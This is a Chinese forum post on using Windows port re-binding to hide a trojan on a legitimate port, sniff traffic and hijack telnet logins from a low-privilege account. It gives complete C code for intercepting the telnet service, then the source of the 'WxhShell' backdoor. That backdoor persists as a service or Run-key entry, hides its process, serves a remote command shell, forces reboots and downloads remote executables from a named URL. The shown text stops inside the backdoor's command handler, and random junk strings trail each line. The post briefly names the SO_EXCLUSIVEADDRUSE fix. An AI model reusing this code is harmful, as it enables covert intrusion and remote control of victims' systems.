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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eV7;#w<]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qbyYNlXqm  
o3 0C\  
  saddr.sin_family = AF_INET; }`=7%b`-?  
e=;A3S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CR4O#f8\  
Avx`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i'f w>-0  
Jn+-G4h$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3.W[]zH/u  
w=KfkdAJ*/  
  这意味着什么?意味着可以进行如下的攻击: sx?IIFF  
- 2)k!5X=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pRQ7rT',v  
TV{GHB!p"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BTAbDyH5  
h)Y] L#R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~  QRjl  
o z*;q]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RV~t%Sw^  
m6R/,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =3-=p&*  
3IYFvq~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kf@JEcKV  
1PY]Q{r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zPnb_[YF  
aRTy=~  
  #include 're:_;lG  
  #include b1Vr>:sK47  
  #include 4,y7a=qf3  
  #include    f*%kHfaXgN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Fz#@[1,  
  int main() >zJHvb)b\  
  { OIK x:&uIk  
  WORD wVersionRequested; T"xJY#)}  
  DWORD ret; x2v0cR"KL  
  WSADATA wsaData; N7?]eD  
  BOOL val; p]L]=-(qI  
  SOCKADDR_IN saddr; [!uzXVS3  
  SOCKADDR_IN scaddr; |r~u7U\  
  int err; V$ZclV2:Ih  
  SOCKET s; N.*)-O  
  SOCKET sc; Kq[4I[+R  
  int caddsize; 5 `1  
  HANDLE mt; gnJ8tuS  
  DWORD tid;   AM+5_'S,  
  wVersionRequested = MAKEWORD( 2, 2 ); kQkc+sGJf  
  err = WSAStartup( wVersionRequested, &wsaData ); 36.,:!%p  
  if ( err != 0 ) { @gN"Q\;F  
  printf("error!WSAStartup failed!\n"); O2fq9%lk  
  return -1; Avw=*ZW  
  } ///Lg{ ie  
  saddr.sin_family = AF_INET; 96w2qgc2  
   Sp>g77@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A8f.h5~9  
[9 MH"\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <vcU5 .K.  
  saddr.sin_port = htons(23); xn*$Ty+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y#Dh)~|k  
  { pGD@R=8  
  printf("error!socket failed!\n"); ||hQ*X<m>  
  return -1;  VAiJL  
  } M5{#!d}^D  
  val = TRUE; 1.14tS-}[4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w_{tS\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qvp"gut)%X  
  { JuO47}i]5  
  printf("error!setsockopt failed!\n"); ~,/@]6S&Y  
  return -1; ?t YZ/  
  } .D@J\<,+l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q-!H7o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >'4A[$$4mM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ki><~!L  
r w!jmvHE&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZWkRoJXNi  
  { 3(c-o0M  
  ret=GetLastError(); `,]Bs*~  
  printf("error!bind failed!\n"); CH6 m  
  return -1; ? xR7Ii3  
  } ^m z9sV  
  listen(s,2); ^fsMfB  
  while(1) * zp tbZ  
  { d-b04Q7DQ  
  caddsize = sizeof(scaddr); K/W=r  
  //接受连接请求 uHU@j(&c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s|p I`  
  if(sc!=INVALID_SOCKET) 8m") )i-  
  { %j tUbBN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w0!$ow.l  
  if(mt==NULL) $z=%e#(!I  
  { @` KYgjjH  
  printf("Thread Creat Failed!\n"); , ;,B7g  
  break; l@);U%\pS  
  } ]s=|+tz\V  
  } ;TL.QN/l  
  CloseHandle(mt); ,4'gj0  
  } LGt>=|=bj  
  closesocket(s); c`<2&ke  
  WSACleanup(); 3y)\dln  
  return 0; 2j+w5KvU  
  }   C@XS  
  DWORD WINAPI ClientThread(LPVOID lpParam) }xsO^K  
  { vIpL8B86a  
  SOCKET ss = (SOCKET)lpParam; 6 \8d6x>  
  SOCKET sc; (fpz",[  
  unsigned char buf[4096]; D;+/ bll7  
  SOCKADDR_IN saddr; IQJ"B6U)  
  long num; [NSslVr  
  DWORD val; .?{no}u.  
  DWORD ret; f30J8n"k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~kZdep^]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F CYGXtc  
  saddr.sin_family = AF_INET; M5no4P<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W{;Qi&^ca  
  saddr.sin_port = htons(23); k ]NZ%.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8R*;8y_  
  { -m@c{&r  
  printf("error!socket failed!\n");  Qxz[  
  return -1; h  /  
  } _r-LX"  
  val = 100;  w*`:v$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z_>~=Mm  
  { |2do8z  
  ret = GetLastError(); tz):$1X_  
  return -1; $0[T<]{/?  
  } 7i($/mNl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _*~F1% d  
  { G!j9D  
  ret = GetLastError(); r~,y3L6ic  
  return -1; :UdW4N-  
  } _=$~l^Y[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,1ev2T  
  { .RpJZ[E  
  printf("error!socket connect failed!\n"); Xmr}$<<=  
  closesocket(sc); MT/jpx  
  closesocket(ss); jC&fnt,O  
  return -1; Ql{#dcRx  
  } r<0E[ ~  
  while(1) *duG/?>P  
  { %DSr@IX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )=f}vHg$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O?OAXPK2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jq H)o2"/  
  num = recv(ss,buf,4096,0); hJM& rM7  
  if(num>0) eDpi0htm  
  send(sc,buf,num,0); htB7 j(  
  else if(num==0) +;W%v7 %<  
  break; Gj?Zbl <  
  num = recv(sc,buf,4096,0); =n,;S W  
  if(num>0) R%.`h  
  send(ss,buf,num,0); U =J5lo  
  else if(num==0) :[<Y#EX.  
  break; F?6kkLS/  
  } yx8G9SO?  
  closesocket(ss); PMP{|yEx"  
  closesocket(sc); 1"y !wsM%  
  return 0 ; "=a3"/u  
  } ^8&}Nk[j  
UC+Qn  
jV2H61d  
========================================================== Z 7@'I0;A  
/<-PW9X?  
下边附上一个代码,,WXhSHELL !*v% s  
OH@"]Nc~  
========================================================== 44e]sT.B  
ZFLmD|q#{  
#include "stdafx.h" -f|/#1  
SNqSp.>-U"  
#include <stdio.h> 1NP  
#include <string.h> e]1=&:eX#d  
#include <windows.h> L$=R/l  
#include <winsock2.h> M !6Fnj  
#include <winsvc.h> VV Q~;{L  
#include <urlmon.h> Fizrsr 6%  
^\v]Ltd  
#pragma comment (lib, "Ws2_32.lib") p&Qb&nWk<  
#pragma comment (lib, "urlmon.lib") {v*4mT  
|V5BL<4  
#define MAX_USER   100 // 最大客户端连接数 !EIH"`>!  
#define BUF_SOCK   200 // sock buffer (GRW(Zd4  
#define KEY_BUFF   255 // 输入 buffer ~k34#j:J65  
()6% 1zCO  
#define REBOOT     0   // 重启 A'w+Lc.2  
#define SHUTDOWN   1   // 关机 tEL;,1  
L<V20d9  
#define DEF_PORT   5000 // 监听端口 nC3+Zka  
wwl,F=| Y  
#define REG_LEN     16   // 注册表键长度 u [qy1M0  
#define SVC_LEN     80   // NT服务名长度 U,2OofLM  
"22./vWV|i  
// 从dll定义API R"OT&:0/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d_ =K (}eR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '5aA+XP|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aX.BaK6I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KJFQ)#SW!  
p>)1Z<D"a  
// wxhshell配置信息 =+X*$'<J  
struct WSCFG { #N`'hPD}  
  int ws_port;         // 监听端口 ]MYbx)v)  
  char ws_passstr[REG_LEN]; // 口令 ;d<XcpK}  
  int ws_autoins;       // 安装标记, 1=yes 0=no TU?n;h#TZ  
  char ws_regname[REG_LEN]; // 注册表键名 k Fl* Im  
  char ws_svcname[REG_LEN]; // 服务名 %# uw8V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wqv7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t'F$/mx.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >IQ&*Bb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #xmiUN,|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ScJ:F-@>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (&m1*  
5tv*uz|fv  
}; GYw/KT~$  
s-*N_Dv  
// default Wxhshell configuration c+{XP&g8_J  
struct WSCFG wscfg={DEF_PORT, KdR\a&[MA  
    "xuhuanlingzhe", O#igH  
    1, ` .`:~_OE  
    "Wxhshell", ]}SV%*{ %  
    "Wxhshell", s;h`n$  
            "WxhShell Service", f@Mku0VT  
    "Wrsky Windows CmdShell Service", =3,<(F5Y[  
    "Please Input Your Password: ", cY} jPDH  
  1, pjO  
  "http://www.wrsky.com/wxhshell.exe", =O8YU)#  
  "Wxhshell.exe" leHKBu'd  
    }; QqL?? p-S>  
`*CoVx~fk  
// 消息定义模块 /,7#%D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Iw19o-I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q \X_JZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ])pX)(a  
char *msg_ws_ext="\n\rExit."; R&s/s`pLW  
char *msg_ws_end="\n\rQuit."; Jur$O,u40l  
char *msg_ws_boot="\n\rReboot..."; 6Hc25NuQZ  
char *msg_ws_poff="\n\rShutdown..."; 7# 'j>]  
char *msg_ws_down="\n\rSave to "; Uj 3{c  
F4(;O7j9  
char *msg_ws_err="\n\rErr!"; %|@?)[;  
char *msg_ws_ok="\n\rOK!"; R(Vd[EGY  
_6FDuCVD-  
char ExeFile[MAX_PATH]; yq3"VFh3d  
int nUser = 0; ?_pd#W=!  
HANDLE handles[MAX_USER]; Yp m*or  
int OsIsNt; tc;$7F ;  
j,,#B4b  
SERVICE_STATUS       serviceStatus; WV}pE~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p"\-iY]  
JK md'ZGw  
// 函数声明 "~C \Z} ;  
int Install(void); ivdPF dJ  
int Uninstall(void); }J5iY0  
int DownloadFile(char *sURL, SOCKET wsh); /x-tl)(s=  
int Boot(int flag); ICoZ<;p  
void HideProc(void); *=z.H  *  
int GetOsVer(void); 6w<p1qhW  
int Wxhshell(SOCKET wsl); UL7%6v{'*  
void TalkWithClient(void *cs); ~R|fdD/%  
int CmdShell(SOCKET sock); AF{o=@  
int StartFromService(void); 'iYaA-9j  
int StartWxhshell(LPSTR lpCmdLine); uJ*|SSN~  
YVY(uq)d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !oV'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LY0/\Z"N  
<.7W:s,f=  
// 数据结构和表定义 g2 V $  
SERVICE_TABLE_ENTRY DispatchTable[] = :Z ]E:f0P  
{ 7Ph+Vs+h  
{wscfg.ws_svcname, NTServiceMain}, %4To@#c  
{NULL, NULL} 0@f7`D  
}; ,Ur~DXY  
{iq{<;)U?U  
// 自我安装 HSl$ U0  
int Install(void) `0ju=FP'u5  
{ ,@gDY9Q3r/  
  char svExeFile[MAX_PATH]; 9.goO|~B~  
  HKEY key; OQX ek@~2  
  strcpy(svExeFile,ExeFile); ;+qPV7Z  
N~arxe (K  
// 如果是win9x系统,修改注册表设为自启动 ,KibP_<%&P  
if(!OsIsNt) { \b88=^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8&f"")m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $0iN43WSQ  
  RegCloseKey(key); Y@%6*uTLa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m4P=,=%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Df/f&;`  
  RegCloseKey(key); Q^V`%+  
  return 0; dR /UXzrc  
    } sXC]{] P  
  } ZsPBs4<p  
} ;lWy?53=@  
else { [dL?N  
-p !KsU  
// 如果是NT以上系统,安装为系统服务 e;}5~dSi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oB Bdk@  
if (schSCManager!=0) 5p{tt;9[  
{ s: q15"  
  SC_HANDLE schService = CreateService $t </{]iX  
  ( *t|j+*c}  
  schSCManager, 2|w.A!  
  wscfg.ws_svcname, u&I~%s  
  wscfg.ws_svcdisp, ~(0Y`+gC  
  SERVICE_ALL_ACCESS, Iei4yDv ;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J&:0ytG  
  SERVICE_AUTO_START, +TX p;6pA  
  SERVICE_ERROR_NORMAL, dl$l5z\  
  svExeFile, _5YL !v&  
  NULL, R QO{fC  
  NULL, NtOR/*  
  NULL, VZlvmN  
  NULL, "AVj]jR  
  NULL k~?}z.g(  
  ); v <Ze$^ e&  
  if (schService!=0) )J88gMk+  
  { f,a4LF  
  CloseServiceHandle(schService); o_*|`E  
  CloseServiceHandle(schSCManager); WE~3(rs#X#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N$,)vb<  
  strcat(svExeFile,wscfg.ws_svcname); O-2H!58$)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }w]xC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +`Bn]e8O  
  RegCloseKey(key); 8"* $e I5  
  return 0; >%3c1  
    } |~CnELF)  
  } ng<`2XgU  
  CloseServiceHandle(schSCManager); tw3d>H`  
} }EIwkz8  
} $-AvH( @  
>`\*{]  
return 1; Y@\5gZ&T  
} =,]J"n8|v  
h5l Lb+  
// 自我卸载 1W!n"3#  
int Uninstall(void) 0 De M  
{ EIEq[`h  
  HKEY key; E;d 5$  
CC-:dNb  
if(!OsIsNt) { uN(~JPAw5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v!U#C[a^  
  RegDeleteValue(key,wscfg.ws_regname); f8^58]wx0  
  RegCloseKey(key); @>:07]Dxo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PrKl whi#  
  RegDeleteValue(key,wscfg.ws_regname); /#se>4]  
  RegCloseKey(key); /[IQ:':^  
  return 0; l{a&Zy)  
  } \mu9ikZ<  
} ,] {NZ9  
} 7~Ga>BK  
else { yl ;'Ru:  
,"VQ 0Z1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q |^O  
if (schSCManager!=0) 0amz#VIB<u  
{ ?(<AT]hV:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YPy))>Q>cK  
  if (schService!=0) @!'H'GvA  
  { B;~agr  
  if(DeleteService(schService)!=0) { _Lb& 2 PAG  
  CloseServiceHandle(schService); EDQJ>c  
  CloseServiceHandle(schSCManager); r"[T9  
  return 0; nm-Y?!J  
  } |YFD|  
  CloseServiceHandle(schService); ` j<tI6[e  
  } ?^vZ{B)&0E  
  CloseServiceHandle(schSCManager); f,a %@WT  
} piFQ7B  
} e,*[5xQ  
;2|H6IN"  
return 1; /_a *C.a6  
} L-R}O 8  
] zY  
// 从指定url下载文件 WO9/rF_  
int DownloadFile(char *sURL, SOCKET wsh) bC{8yV=)  
{  :Y3?,  
  HRESULT hr; 6;pREM+  
char seps[]= "/"; v+sbRuo8  
char *token; r*wKYb  
char *file; F]*-i 55S  
char myURL[MAX_PATH]; 7&)F;;H  
char myFILE[MAX_PATH]; k9xKaJ %1  
cj<@~[uw  
strcpy(myURL,sURL); gAY2|/,  
  token=strtok(myURL,seps); KxwLKaImI  
  while(token!=NULL) n_Y]iAoc`  
  { (Qm;]?/  
    file=token; ,R =VzP&  
  token=strtok(NULL,seps); ~\G3 l,4  
  } sD3|Qj;  
8!SiTOzR?  
GetCurrentDirectory(MAX_PATH,myFILE); e"6i >w!  
strcat(myFILE, "\\"); 3T/j5m}+!  
strcat(myFILE, file); $\!;*SSj  
  send(wsh,myFILE,strlen(myFILE),0); ?63JQ.;  
send(wsh,"...",3,0); uP]o39b;V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rfi`Bp  
  if(hr==S_OK) FO=1P7  
return 0; m_ m@>}ud  
else OP}p;(  
return 1; \AzcW;03g[  
AyO|9!F@A  
} _[o^23Hj  
Ig KAD#2a  
// 系统电源模块 h,'+w  
int Boot(int flag) @EZONKT  
{ l5ds`uR#  
  HANDLE hToken; }z+"3A|  
  TOKEN_PRIVILEGES tkp; [1^wy#  
yo,!u\^x  
  if(OsIsNt) { r&sOM_BUF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q$L(fH kw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n;`L5  
    tkp.PrivilegeCount = 1; 5z ^UQ q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9%14k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~{G: ,|`  
if(flag==REBOOT) { c.Z4f 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S\;.nAR  
  return 0; -$t,}3  
} am+mXb  
else { ha! "BR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9 /(c cj  
  return 0; D#1~]d  
} 1T,PC?vr{  
  } by[i"!RCu  
  else { i%4k5[f.:  
if(flag==REBOOT) { -z$2pXT ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HbfB[%  
  return 0; TF-Ty  
} So.P @CCd  
else { mS}x2 &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `j}d=zZ  
  return 0; b|o!&9Yyr  
} TeCpT2!5j  
} .<^Y E%  
/'fDXSdP  
return 1; {WeXURp&nF  
} UH-uU~  
{FY[|:Cp  
// win9x进程隐藏模块 2\B9o `Y  
void HideProc(void) "ak9LZQ9z  
{ 6H,=S`V]EK  
/JubiLEK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R 0HVLQI  
  if ( hKernel != NULL ) CN~NyJL H  
  { PFy;qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SuH.lCF-g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M6iO8vY  
    FreeLibrary(hKernel); yL x .#kx6  
  } vSC0D7BlG  
OrEuQ-,i@  
return; k5;Vl0Ho  
} KI@    
xf"5<PTW</  
// 获取操作系统版本 E+ 3yN\X(  
int GetOsVer(void) Df:7P>  
{ A a} o*  
  OSVERSIONINFO winfo; uoY`qF.`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _pko]F|()  
  GetVersionEx(&winfo); {hRie+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! M&un*  
  return 1; Wo9psv7.  
  else Tb1}XvZ  
  return 0; 9_WPWFO  
} fb.\V]K  
F:o #  
// 客户端句柄模块 I,4-  
int Wxhshell(SOCKET wsl) EH*ym#Y  
{ zB6u-4^wT  
  SOCKET wsh; ~/jxB)t  
  struct sockaddr_in client; v;]I^Kq  
  DWORD myID; BT#=Xh  
k3>ur>aW  
  while(nUser<MAX_USER) $W {yK+N  
{ ,mjfZ*N  
  int nSize=sizeof(client); gr`Ar;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [}ZPg3Y  
  if(wsh==INVALID_SOCKET) return 1; G</I%qM  
g2{H^YUN$_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }{wTlR.]  
if(handles[nUser]==0) p=_XMh`;  
  closesocket(wsh); Vx6? @R  
else fH e0W  
  nUser++; FL#g9U>  
  } 7XVzd]jH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ocl47)  
1 73<x){  
  return 0; ,d>X/kd|o  
} ?7kV+{.  
@9uYmkcV  
// 关闭 socket !q$&JZY  
void CloseIt(SOCKET wsh) -e{)v'C)  
{ oa &z/`@  
closesocket(wsh); ^\[LrPq e  
nUser--; 12tJrS*Z  
ExitThread(0); ? %+VG  
} kUg+I_j6*  
UGmuX:@y76  
// 客户端请求句柄 :qAc= IC%  
void TalkWithClient(void *cs) k)5_1y  
{ _iGU|$a  
iL0jpa<}  
  SOCKET wsh=(SOCKET)cs; wAu[pWD'6;  
  char pwd[SVC_LEN]; RF4$  
  char cmd[KEY_BUFF]; \U!@OX.R'M  
char chr[1]; Ac[|MBaF  
int i,j; d2A wvP  
I>H;o{X#  
  while (nUser < MAX_USER) { %|*nmIPq(  
Foe>}6~{?  
if(wscfg.ws_passstr) { VqD[G<|9T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P^8^1-b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V/3 {^Fcr  
  //ZeroMemory(pwd,KEY_BUFF); ~[zFQ)([  
      i=0; .lvI8Jf~X  
  while(i<SVC_LEN) { b$v[@"1  
rmPne8D=c(  
  // 设置超时 lk[G;=K:.  
  fd_set FdRead; B0)`wsb_  
  struct timeval TimeOut; :vYt Mp  
  FD_ZERO(&FdRead); >,>;)B@J  
  FD_SET(wsh,&FdRead); F<yy>Wf  
  TimeOut.tv_sec=8; kUn2RZ6$#  
  TimeOut.tv_usec=0; OB?SkR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }iua] 4 |  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9u ?)vR[@e  
).NcLJw_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %XJQ0CE<(  
  pwd=chr[0]; +X:J]- 1)  
  if(chr[0]==0xd || chr[0]==0xa) { U#;51 _  
  pwd=0; cc|CC Zl  
  break; a[1sA12  
  } Pqy-gWOv  
  i++; N>d|A]zH  
    } :cc[Jco@w  
}rz dm9  
  // 如果是非法用户,关闭 socket xdd:yrC   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~~C6)N~1  
} ~@T+mHny  
X0y?<G1( a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i>Z|6 5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lw>-7)  
E tJ~dL)  
while(1) { VLcyPM@"Q!  
0LWdJ($?  
  ZeroMemory(cmd,KEY_BUFF); j|VXC(6 P,  
81g9ZV(4  
      // 自动支持客户端 telnet标准   Ro'jM0(KE  
  j=0; Md8(`@`o  
  while(j<KEY_BUFF) { |Du,UY/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wVgi+P  
  cmd[j]=chr[0]; / <JY:1|  
  if(chr[0]==0xa || chr[0]==0xd) { 5oz>1  
  cmd[j]=0; ow2M,KU6Z  
  break; H1` rM^,%A  
  } \#PP8  
  j++; B/jrYT$;m  
    } Ln ~4mN^  
0TTIaa$  
  // 下载文件 DpA\r_D  
  if(strstr(cmd,"http://")) { "_ LkZBW.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hzaLx8L  
  if(DownloadFile(cmd,wsh)) :3*`IB !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fNGB]%  
  else C/F@ ]_y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L)q`D2|'  
  } Uh|TDuM  
  else { W|;nJs:e  
C@%iQ]=  
    switch(cmd[0]) { jEUx q%BH  
  Ns'FH(:  
  // 帮助 l <:`~\#  
  case '?': { "E.\6sC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); saatU;V  
    break; K<c2PFo)Q  
  } y:Z$LmPc<  
  // 安装 z{%oJ_  
  case 'i': { \WWG>OUh.U  
    if(Install()) z4CJn[m9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BSN6|W  
    else T3=(`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 49o\^<4b  
    break; _zdNLwE[  
    } S#,+Z7  
  // 卸载 s4 (Wp3>3i  
  case 'r': { $h,d? .u6w  
    if(Uninstall()) <z,+Eg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r~8  
    else rB,ldy,f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >gr<^$  
    break; 8Bq-0=E  
    } 8+9\7*  
  // 显示 wxhshell 所在路径 TZe+<~4*i%  
  case 'p': { {Jrf/p9w  
    char svExeFile[MAX_PATH]; d$}&nV/A)  
    strcpy(svExeFile,"\n\r"); sTiYf  
      strcat(svExeFile,ExeFile); Q*gnAi&.#  
        send(wsh,svExeFile,strlen(svExeFile),0); D>P;Izb  
    break; }@wVW))6$  
    } #+$ zE#je  
  // 重启 k=e`*LB\  
  case 'b': { {o( * f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G(3;;F7"  
    if(Boot(REBOOT)) )`^ /(YG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GjEqU;XBi  
    else { G%;kGi`m  
    closesocket(wsh); IAYACmlN&  
    ExitThread(0); 1t.R+1[c  
    } sa G8g  
    break; x.ba|:5  
    } hqL+_| DW  
  // 关机 8yn4}`Nc@  
  case 'd': { /N>} 4Ay  
